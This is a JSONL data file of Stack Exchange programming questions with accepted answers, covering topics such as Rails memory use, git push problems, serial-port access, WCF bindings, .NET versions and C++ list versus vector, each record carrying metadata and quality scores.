{"id": "hf_d30339eb823a", "question": "<p>Can someone explain this in a practical way?  Sample represents usage for one, low-traffic Rails site using Nginx and 3 Mongrel clusters.  I ask because I am aiming to learn about page caching, wondering if these figures have significant meaning to that process.  Thank you.  Great site!</p>\n\n<pre><code>me@vps:~$ free -m\n                   total       used       free     shared    buffers     cached\nMem:           512        506            6             0          15           103\n-/+ buffers/cache:       387        124\nSwap:         1023        113        910\n</code></pre>\n", "question_body": "", "answer": "by my reading of this, you have used almost all your memory, have 6 M free, and are going into about 10% of your swap. A more useful tools is to use top or perhaps ps to see how much each of your individual mongrels are using in RAM. Because you're going into swap, you're probably getting more slowdowns. you might find having only 2 mongrels rather than 3 might actually respond faster because it likely wouldn't go into swap memory.\nPage caching will for sure help a tonne on response time, so if your pages are cachable (eg, they don't have content that is unique to the individual user) I would say for sure check it out", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.048305"}
{"id": "hf_f3240dd77254", "question": "<p>I have a local Git repository I've been developing under for a few days: it has eighteen commits so far. Tonight, I created a private Github repository I was hoping to push it to; however, when I did so, it only ended up pushing eight of the eighteen commits to Github. I deleted the Github repo and retried, with the same result.</p>\n\n<p>Any thoughts on why this might be happening? I've done this procedure before without a few times successfully, so I'm a bit stumped.</p>\n\n<p><strong>Update</strong>: There is, and has always been, only the master branch in this repo. Just to address a few of the posted answers...</p>\n", "question_body": "", "answer": "I suppose the first thing I would do would be to run\n```\ngit fsck\n```\non your local repository to make sure that it is all in good order.\nI've never seen this problem before, and I can't think of what might be wrong.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.071763"}
{"id": "hf_5a2701577f25", "question": "<p>I have written this generator code but it returns 'can't convert nil into String' when I call m.directory inside the manifest. Anyone know what had happened?</p>\n\n<pre><code>class AuthGenerator &lt; Rails::Generator::NamedBase\n  attr_reader :user_class_name\n  def initialize(runtime_args, runtime_options={})\n    @user_class_name=\"User\"\n    @controller_class_name=\"AccountController\"\n    @user_class_file_name=\"#{@user_class_name}.rb\"\n    @controller_class_file_name=\"#{@controller_class_name}.rb\"\n  end\n\n  def manifest\n    record do |m|\n      m.class_collisions @controller_class_name, @user_class\n\n      puts @user_class_name\n      m.directory File.join('app/models', @user_class_name)\n\n\n    end\n  end\n</code></pre>\n\n<p>end</p>\n", "question_body": "", "answer": "Where is it choking?  Please post the full error.  You can see the source of the\n```\ndirectory\n```\nmethod\nhere\n.\nPlus, you probably just want\n```\n```\nm.directory File.join('app/models')\n```\n```\nHaving an app/models/user directory for your generated code is not standard -- unless you're intending namespacing, which it doesn't look like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.117002"}
{"id": "hf_360a116d9304", "question": "<p>Many languages have a facility to check to see if an Object is of a certain type (including parent subclasses), implemented with 'is' and used like this:</p>\n\n<pre><code>if(obj is MyType)\n</code></pre>\n\n<p>Or slightly more tediously you can in other languages check by using the 'as' keyword to do a soft typecast and seeing if the result null.   </p>\n\n<p>I haven't used Java in years and I'm getting back up to speed on it but surely Java has a way to easily do this without delving deep into the Reflection APIs?</p>\n\n<p>Thanks in advance for answers.  I have searched both here and other places but the keywords involved are so generic that even though I'm sure this has a simple answer, googling for it is hard.</p>\n", "question_body": "", "answer": "```\n```\nif (objectReference instanceof type){\n    //Your code goes here\n}\n```\n```\nMore info\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.174486"}
{"id": "hf_de44ed5cd248", "question": "<p>I am working with a peripheral device that needs to be communicated through serial.  I can send it commands using HyperTerminal, but now I need to write programs that will let me do it without HyperTerminal.  Can somebody point me to a website and/or show me a sample hello world program to get me started?  I have searched through many sites which give me uncompilable/ancient VC6 code.</p>\n", "question_body": "", "answer": "In order to interface with the serial port, you open a file with one of the special filenames \"COM1\" through \"COM9\".  For serial ports with higher numbers, the special filename begins with \\\\?\\, which in C/C++ code must be escaped as \"\\\\\\\\?\\\\COM10\", etc.\nhttp://msdn.microsoft.com/en-us/library/ms810467.aspx\nhas a really good tutorial on using the serial port.  Note that you should use the Windows file I/O functions such as\n```\nCreateFile()\n```\n,\n```\nReadFile()\n```\n, and\n```\nWriteFile()\n```\n.  I'm not sure if it will work to use standard I/O functions such as\n```\nfopen()\n```\n,\n```\nfread()\n```\n, and\n```\nfwrite()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.201576"}
{"id": "hf_e1676411659b", "question": "<p>What solutions do you have in place for handling bandwidth billing for your vhosts on a shared environment in apache?  If you are using log parsing, does your solution scale well when the logs become very very large?  Anyone using any sort of module out there for this?</p>\n", "question_body": "", "answer": "Although we use IIS rather than apache we do use log file analysis for bandwidth billing (and bandwidth profiling / analysis). We use a custom application to load data collected in the log files in one hour increments, and act upon any required notifications or bandwidth overuse.\nThe log file loader runs as a low priority process, so as not to interupt operation of the server. Even on high usage servers with a large number of sites, processing takes less than 15 minutes, so we don't see scalability as a problem with this methodology.\nThere may be better ways of doing this, but this is perfectly adequate for what we need. I look forward to viewing the other responses.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.232055"}
{"id": "hf_e0076086f17b", "question": "<p>Google chrome doesn't behave the same as other browsers when encountering this nugget:</p>\n\n<pre><code>&lt;?php\nwhile (true) {\n    echo \"&lt;script type='text/javascript'&gt;\\n\";\n    echo \"alert('hello');\\n\";\n    echo \"&lt;/script&gt;\";\n    flush();\n\n    sleep(5);\n}\n?&gt;\n</code></pre>\n\n<p>It seems that it's waiting for the connection to terminate before doing anything.</p>\n\n<p>Other than polling how can I do a similar thing in Google Chrome?</p>\n", "question_body": "", "answer": "I wish I had access to Chrome at the moment to test out some ideas. Have you tried adding some HTML after\n```\n</script>\n```\nand seeing if it renders incrementally?  I imagine it would, and if so that'd be proof that Chrome doesn't want to run javascript in\n```\n<script>\n```\nelements while the page is loading.  Of course, rendering the markup might trigger your scripts to run.  If not, you could try including the javascript as external files and see if that affects execution time.\nI think browsers generally have some leeway according to the spec in when they begin executing javascript, especially as the page loads.  It might not be possible to do this in a fully cross-browser way without polling.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.291866"}
{"id": "hf_90d76defebcb", "question": "<p>At what point would you create your own exception class vs. using java.lang.Exception? (All the time? Only if it will be used outside the package? Only if it must contain advanced logic? etc...)</p>\n", "question_body": "", "answer": "I think you need to ask yourself a slighly different question \"What advantage does creating a new exception give me or developers who use my code?\"  Really the only advantage it gives you or other people is the ability to handle the exception.  That seems like an obvious answer but really it's not.  You should only be handling exceptions that you can reasonably recover from.  If the exception you throw is a truly fatal error why give developers a chance to mis-handle it?\nMore in depth discussion:\nCustom exceptions: When should you create them?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.329797"}
{"id": "hf_70232bea7cef", "question": "<p>I'm new with Objective-C, so there probably is a simple solution to this.</p>\n\n<p>I want a number to increment, but each iteration to be show on a label. (for example, it shows 1, 2, 3, 4, 5... displayed apart by an amount of time).</p>\n\n<p>I tried:</p>\n\n<pre><code>#import \"testNums.h\"\n\n@implementation testNums\n- (IBAction)start:(id)sender {\n    int i;\n    for(i = 0; i &lt; 10; ++i)\n    {\n        [outputNum setIntValue:i];\n        sleep(1);\n    }\n}\n@end\n</code></pre>\n\n<p>and all it did was wait for 9 seconds (apparently frozen) and then displayed 9 in the text box.</p>\n", "question_body": "", "answer": "Yes, because that is what you told it to do. The graphics will not actually update until the main run loop is free to display them. You'll need to use\n```\nNSTimer\n```\nor some such method to do what you want.\nA better question might be why you want to do this?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.367619"}
{"id": "hf_4e4cd628b542", "question": "<p>I have two PHP files that I need to link. How can I link the files together using PHP? The effect I want is to have the user click a button, some information is proccessed on the page, and then the result is displayed in a different page, depending on the button the user clicked.Thanks</p>\n", "question_body": "", "answer": "It sounds like you might want an HTML form:\n```\n```\n<form method=\"post\" action=\"other_file.php\">\n    <input name=\"foo\" type=\"...\"... /> ...\n</form>\n```\n```\nThen\n```\n$_POST[\"foo\"]\n```\nwill contain the value of that input in other_file.php.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.390210"}
{"id": "hf_8fdbd27a776e", "question": "<p>Here's what I am trying to do:</p>\n\n<p>Select text from a webpage I pulled up using my web browser control.After clicking a button while this text is still selected I would like a message box to pop-up displaying the text that was highlighted by the user. How do I get this functionality to work in my wpf application?</p>\n\n<p>I think I'm on the right track using mshtml but I get an error that says:</p>\n\n<blockquote>\n  <p>Error HRESULT E_FAIL has been returned from a call to a COM component.</p>\n</blockquote>\n\n<p>This error will happen even when I try something small on the document like changing the title.</p>\n\n<p>The code is below:</p>\n\n<pre><code>IHTMLDocument2 doc = (IHTMLDocument2)this.webBookText.Document;\ndoc.title = \"l\";\n</code></pre>\n", "question_body": "", "answer": "Well, for starters it would be a lot simpler to use\n```\nWebBrowser\n```\nthan mshtml (note that you can still host\n```\nWebBrowser\n```\nin WPF) - this will certainly let you do simple things a lot easier:\n```\n```\nwebBook.Document.Title = \"foo\";\n```\n```\nHowever, I can't see anything there that would let you work with selections very easily...\nYou can get the selected\nelement\nwith\n```\n.Document.ActiveElement\n```\n, but this is the entire element - not the selected portion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.412749"}
{"id": "hf_2a6307a1b2ef", "question": "<p>So lets say I'm using Python's <a href=\"http://www.python.org/doc/2.5.2/lib/module-ftplib.html\" rel=\"nofollow noreferrer\">ftplib</a> to retrieve a list of log files from an FTP server. How would I parse that list of files to get just the file names (the last column) inside a list? See the link above for example output.</p>\n", "question_body": "", "answer": "I believe it should work for you.\n```\n```\nfile_name_list = [' '.join(each_file.split()).split()[-1] for each_file_detail in file_list_from_log]\n```\n```\nNOTES -\nHere I am making a assumption that you want the data in the program (as list), not on console.\neach_file_detail is each line that is being produced by the program.\n' '.join(each_file.split())\nTo replace multiple spaces by 1 space.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.446960"}
{"id": "hf_b91301b6814a", "question": "<p>In cmd.exe, I can execute the command \"copy c:\\hello.txt c:\\hello2.txt\" and it worked fine.\nBut in my C program, I ran this piece of code and got the following error:</p>\n\n<pre><code>#include &lt;iostream&gt;\n\nusing namespace std;\n\nint main()\n{\n    system(\"copy c:\\hello.txt c:\\hello2.txt\");\n    system(\"pause\");\n\n    return 0;\n}\n</code></pre>\n\n<p>Output:\nThe system cannot find the file specified.</p>\n\n<p>Anybody know what is going on here?</p>\n", "question_body": "", "answer": "Inside C strings (and quite a few other languages that use the same escaping rules),\n```\n\\\n```\nshould be\n```\n\\\\\n```\nsince it's the escape character. It allows you to enter, in normal text, non-printable characters such as:\nthe tab character\n```\n\\t\n```\n.\nthe carriage-return character\n```\n\\r\n```\n.\nthe newline character\n```\n\\n\n```\n.\nothers which I won't cover in detail.\nSince\n```\n\\\n```\nis used as the escape character, we need a way to put an\nactual\n```\n'\\'\n```\ninto a string. This is done with the sequence\n```\n\\\\\n```\n.\nYour line should therefore be:\n```\n```\nsystem(\"copy c:\\\\hello.txt c:\\\\hello2.txt\");\n```\n```\nThis can sometimes lead to obscure errors with commands like:\n```\n```\nFILE *fh = fopen (\"c:\\text.dat\", \"w\");\n```\n```\nwhere the\n```\n\\t\n```\nis actually the\n```\ntab\n```\ncharacter and the file that you're trying to open is:\nc\n:\nTAB\ne\nx\nt\n.\nd\na\nt\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.469593"}
{"id": "hf_5a7f81cf002a", "question": "<p>I've been a Delphi (D7) developer for many sometime already, I've always been wondering about the .NET + C# stuffs. What I mean are about not the \"Delphi for .NET\" or \"Oxygene\" tech/plugin, but clean .NET/C#.</p>\n\n<p>How much different is it from Delphi? And some other questions...</p>\n\n<ul>\n<li>Is Mono/SharpDevelop (any others that I should know of?) as capable as the Non-Free Visual Studio? </li>\n<li>In terms of deployment, how does it work? The Assembly + Framework + Executable?</li>\n<li>The Framework (3.5 latest?) works something like the JVM for the Java world, correct? Does it take care of the supporting/making use of techs like Multi-Cores or Windows specific optimizations?</li>\n<li>C# has some similarities to Object Pascal, shouldn't be too tough to adapt, right?</li>\n</ul>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Re the first point: have you tried the (free)\nVIsual Studio Express Edition\n? For a lot of things, this is perfectly capable. You just don't get as many helpers / designers, and no plug-in support (for IDE extensions).\nRe the second: excluding some\nnasty tricks\n, you can't create a pure native executable from .NET; it relies\nheavily\non the framework being available on the local machine. An assembly is just a package of IL, and can be contained (typically) in either a dll, or bootstrapped into an exe that loads the assemblies entry-point; but in this scenario the exe is just a simple loader plus a regular assembly.\nActually, the CLR is more like the JVM; the \"framework\" is really just the equiavalent of a BCL. The main MS framework+CLR certainly has some Windows specific optimizations, but other runtimes/frameworks (\ncompact\n,\nmicro\n,\nSilverlight\n,\nMono\n) will have different optimizations.\nRe multi-core - you have full threading support (for doing it yourself) - but the main\nautomated\nmulti-core support will (hopefully) be in .NET 4.0 with the \"\nparallel extensions\n\" work.\nRe the last point: should be very familiar indeed. Actually, if you want to do some comparisons, \"\nreflector\n\" (free) can take a compiled assembly and show you the code in either C# or delphi (or a few others).\n[update re questions]\nIL = Intermediate Language; .NET doesn't compile to native CPU instructions, but to something in-between that becomes CPU instruction at runtime (compiled \"Just In Time\" (JIT) on a method-by-method basis). This means that the JIT compiler can optimize the same IL for the local machine. You can do this in advance using\nNGen\n.\nCLR = Common Language Runtime; essentially the VM\nBCL = Base Class Library; the set of classes shared my many apps\nRe deployment: first, install the .NET framework on the client ;-p\nAfter that - various options. At the simplest level, you can just copy the exe/etc onto the local machine and run. For example, I use \"robocopy\" to push code to web-servers.\nFor full local installs of a complex client app, msi is an option (and the full VS IDE will help you with this).\nFor simple clients, you can use\nClickOnce\n- which packages the app into a signed bundle that provides self-updating etc capabilities and allows you to make statements about what security you need (full trust, etc). Express Edition allows you to author  ClickOnce packages. ClickOnce can even be used on locked down clients where the user can't install apps, since the app is isolated and sand-boxed.\nFinally, you can run a .NET app off a network share, but there are some security implications: the \"Code Access Security\" layer won't give a network share \"full trust\" (although there were some recent changes to this so that mapped (F: etc) shares are trusted). So you'd need to use CASPOL at each client to trust the code. ClickOnce would be easier ;-p", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.504835"}
{"id": "hf_ccb254ceac44", "question": "<p>Does any one know of some kind of Comparator factory in Java, with a </p>\n\n<pre><code>public Comparator getComparatorForClass(Class clazz) {}\n</code></pre>\n\n<p>It would return Comparators for stuff like String, Double, Integer but would have a</p>\n\n<pre><code>public void addComparatorForClass(Class clazz, Comparator comparator) {}\n</code></pre>\n\n<p>For arbitrary types.</p>\n", "question_body": "", "answer": "Instead of:\n```\n```\nfactory.getComparatorForClass(x.getClass()).compare(x, y)\n```\n```\nyou could simply implement\n```\nComparable\n```\nand write:\n```\n```\nx.compareTo(y)\n```\n```\nString, the primitive wrappers, and standard collections already implement\n```\nComparable\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.569108"}
{"id": "hf_1a6d9c12f1a1", "question": "<p>Has anybody succeeded in customizing the Places Bar for VS 2008? My customizations from VS 2005 did not transfer to 2008 (obviously), and no matter what I do with the registry, I cannot make my custom places appear on the Open dialogs. I have read and applied the relevant MS KB article, to no avail.</p>\n\n<p>This used to work fine with VS 2005, so it may well be a VS 2008 bug, but I may be wrong trying the same approach.  </p>\n", "question_body": "", "answer": "some observations:\nVS2008 uses now Common File Dialog. With Powertoys TweakUK i was able to set all places to 'none' and the VS2008 'Open File' dialog becomes empty.\nUnfortunately VS2008 ignores user defined places or directories, and shows instead the default places: 'Desktop', 'standard_project_folder', 'My Computer'.\nWith Sysinternals RegMon i see that Registry Key [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\comdlg32\\PlacesBar] gets read on ctrl+o...altough the places defined in here are still being ignored.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.592899"}
{"id": "hf_1599fbc52b9a", "question": "<p>I have a php script that is executing an executable that writes to a serial port.\nHowever, everytime it runs <pre>system(\"c:\\Untitled1.exe\")</pre>\nit just opens up a cmd window and freezes.</p>\n\n<p>Anybody know how to fix this? Or if there is an easier way to get PHP to write to the serial port directly? (I've already tried these two: <a href=\"http://blogs.vinuthomas.com/2007/04/09/php-and-serial-ports/\" rel=\"nofollow noreferrer\">http://blogs.vinuthomas.com/2007/04/09/php-and-serial-ports/</a> and they don't work for me)</p>\n\n<p>P.S. I am on Windows XP</p>\n", "question_body": "", "answer": "AFAIK\n```\nsystem()\n```\ncall blocks the execution until the program finishes. Maybe using\n```\npopen()\n```\n,\n```\nfread()\n```\nand\n```\npclose()\n```\ncould solve this.\nSee\nhttp://php.net/manual/en/function.popen.php\nfor more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.615742"}
{"id": "hf_61ed4351a8ac", "question": "<p>We have an <a href=\"http://www.r-project.org\" rel=\"nofollow noreferrer\">R Server</a>\n (R is a programming language used in statistical analysis) that basically takes a script and a csv file, processes some data and returns results as text.</p>\n\n<p>I need to write a service on the R server so that .net clients (could be .Net Windows Forms, or ASP.Net) can connect to the R server, submit the script and CSV file, and get the results back.</p>\n\n<p>I'm confused by the many different bindings available to me and information on the web seems to be sparse/scattered about what one to choose.</p>\n\n<p>Also, is it best to run the service in IIS, or as a separate \"command line\" type listener service (the latter seems ugly compared to IIS and I have no idea why anyone would choose to do this if they could run it in IIS)?</p>\n", "question_body": "", "answer": "Personally, I'd recommend the simplest binding that gives what you need. I've done quite a lot of WCF (some quite complex), and I've never had to use anything other than BasicHttpBinding; this also allows that greatest possible compatibility with non-.NET clients, and lets you use things like MTOM for efficient binary transfer.\nRe hosting; IIS is indeed the simplest for a client/server setup; two particular strengths:\neasy to configure SSL (i.e. you just configure IIS, and WCF will use it)\neasy to load balance (just load balance your web farm)\n(I\nbelieve\nWCF running over BasicHttpProfile can also leverage your IIS compression [GZip/Deflate] setup, but don't quote me...)\nYou might choose to use a standalone host (usually via a windows service) if (for example) you want a long-running stateful server. IIS has this habit (by design) of recycling the app-pools, which isn't good if you were keeping something in memory! Another example is where you want it to be already running for fast \"first hit\" performance (rather than waiting for IIS/ASP.NET to spin up). An example covering both of these might be hosting a WF (workflow) server.\nAgain; if you don't need this complexity, go for the simplest option: hosting in IIS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.662300"}
{"id": "hf_4379d61312f3", "question": "<p>Ive recently been asked to recommend a .NET framework version to use in a (GUI based) project for an XP machine.</p>\n\n<p>Can anyone explain the differences between all the .NET versions?</p>\n\n<p>OR,</p>\n\n<p>Does anyone have a good reference to a site that details (briefly) the differences?</p>\n", "question_body": "", "answer": "The short answer is that it depends.\n.NET 2.0 is the oldest version you should be considering.\n.NET 3.0 is an easy upgrade path from 2.0, not the same amount of breaking changes as from 1.1 to 2.0.  However it is more of an extension, horizontally of functionality, and you would not see a huge shift in graphical options.\n.NET 3.5 should be looked at if you are interested in much more sophisticated gui such as sliverlight.  It has a lot more new technologies and options to offer including WPF, a new IDE in Expression and much more.\nhttp://www.asp.net\nwould not be a bad start.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.813181"}
{"id": "hf_eb70b669bf58", "question": "<p>I have a tabview controller to which I added a UIViewController to each tab. I want to have multiple UIViews inside the UIViewController.</p>\n\n<p>So in the implementation of the UIViewController class I added [self.view addSubView:uiview1] and [self.view addSubView:uiview2]. The problem is that when I run the app, it crahes on load.</p>\n\n<p>However, if I only used a single UIView and did: self.view = UIView1 that would work fine.</p>\n\n<p>Does anyone know what is causing the problem? Or if I'm doing something fundamentally wrong?</p>\n", "question_body": "", "answer": "There's no reason you can't have multiple views within your UIViewController's main view member variable. However, there are quite a few items left unanswered in your question:\nHow are you obtaining view1 and view2?\nAre they outlets in your XIB file (are you using a XIB file, or creating everything in code), or are you creating them in code?\nWhere in your UIViewController subclass are you adding them to your view member variable?\nWhat's the message printed to the console when it crashes?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.847684"}
{"id": "hf_ff944c23caee", "question": "<p>I have many small files containing code fragments, pseudo-code algorithms, classes, templates, SQL-samples, etc., and I obviously cannot put all these into libraries. I need a practical method to index all of them, and to be able to make this index available to others.</p>\n\n<ol>\n<li>What must such an index contain to\nmake searching easiest?</li>\n<li>Are there any such repositories\navailable on the web? (So I can test\nthe techniques they use.)</li>\n<li>Are there any applications already\nwritten that implement this that I\ncan have a look at?</li>\n</ol>\n\n<p>Possible duplicate: <a href=\"https://stackoverflow.com/q/90300/15161\">https://stackoverflow.com/q/90300/15161</a></p>\n", "question_body": "", "answer": "If you're working with .NET / Visual Studio, you could look at adding them as\ncode snippets\nCode Keep\nis a pretty good online repo for CodeSnippets and has plugins for VS2008\nWhat we've done at work is created a common account for the dev to use, so everyone submits to codekeep under a common login and then can retrieve everyone elses snippets.\nAlso it might be worth your while creating a developer wiki on your dev network. Somewhere that the old hands can leave documentation on your regularly used patterns & snippets and new team members can check for help. We use\nTRAC\nin house as an all in one WIKI / Issue Management / SVN Integration and it does the job nicely", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.883438"}
{"id": "hf_fdad8ca0255e", "question": "<p>An <a href=\"https://stackoverflow.com/questions/61278/quick-and-dirty-way-to-profile-your-code#231614\">answer to one of my questions</a> included the following line of code:</p>\n\n<pre><code>label = std::safe_string(name); // label is a std::string\n</code></pre>\n\n<p>The intent seems to be a wrapper around a string literal (so presumably no allocation takes place). I've never heard of <code>safe_string</code> and neither, apparently, has <a href=\"http://www.google.com/search?q=%22std%3A%3Asafe_string%22\" rel=\"nofollow noreferrer\">google</a> (nor could I find it in the 98 standard). </p>\n\n<p>Does anyone know what this is about?</p>\n", "question_body": "", "answer": "There is no such thing as\n```\nstd::safe_string\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.941433"}
{"id": "hf_35521fad3765", "question": "<p>I'm a recent semi-convert to Eclipse after 20 years of using vi and gvim.  One of the things I miss about gvim is that I could cut a bunch of different snippets of code into named buffers, and paste them at will when doing something like repeating a common idiom.  For instance I'd have it so <code>\"ap</code> would paste</p>\n\n<pre><code>DatabaseHandle handle = null;\ntry\n{\n  handle = DatabaseConnectionPool.newHandle();\n</code></pre>\n\n<p>and then <code>\"bp</code> would paste</p>\n\n<pre><code>  handle.commit();\n}\nfinally\n{\n  handle.rollback();\n  DatabaseConnectionPool.returnHandle(handle);\n}\n</code></pre>\n\n<p>And I could repeat both of them over and over in the course of a day.  In an answer to another question, somebody mentioned that you could \"manage code snippets\" in Eclipse, but didn't mention how.  So now I'm asking: how do you manage code snippets in Eclipse? </p>\n", "question_body": "", "answer": "You might want to store those two snippets into a\ncode template\n, as explained in\nthis tutorial\n.\nAnd do not forget about the possibility to quickly execute any kind of java code snippets in a\nscrapbook\n(not exactly what you want, but it can come in handy at times)\nNewtopian\nadds (in the comments)\nIn fact templates become much more powerful by adding variables and tabstops within, so your example above would become\n```\ndbHandle ctrl+space\n```\n. It would copy snippets from both parts and place your cursor right in the middle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:12.976601"}
{"id": "hf_b91b4f0b04fc", "question": "<p>How can I replace Line Breaks within a string in C#?</p>\n", "question_body": "", "answer": "Use the .Replace() method\n```\n```\nLine.Replace(\"\\n\", \"whatever you want to replace with\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.000792"}
{"id": "hf_e9e3e97d4305", "question": "<p>For a simple linked list in which random access to list elements is not a requirement, are there any significant advantages (performance or otherwise) to using <code>std::list</code> instead of <code>std::vector</code>?  If backwards traversal is required, would it be more efficient to use <code>std::slist</code> and <code>reverse()</code> the list prior to iterating over its elements?</p>\n", "question_body": "", "answer": "As usual the best answer to performance questions is to\nprofile\nboth implementations for your use case and see which is faster.\nIn general if you have insertions into the data-structure (other than at the end) then\n```\nvector\n```\nmay be slower, otherwise in most cases\n```\nvector\n```\nis expected to perform better than\n```\nlist\n```\nif only for\ndata locality issues\n, this means that if two elements that are adjacent in the data-set are adjacent in memory then the next element will already be in the processor's cache and will not have to page fault the memory into the cache.\nAlso keep in mind that the space overhead for a\n```\nvector\n```\nis constant (3 pointers) while the space overhead for a\n```\nlist\n```\nis paid for each element, this also reduces the number of full elements (data plus overhead) that can reside in the cache at any one time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:13.036766"}
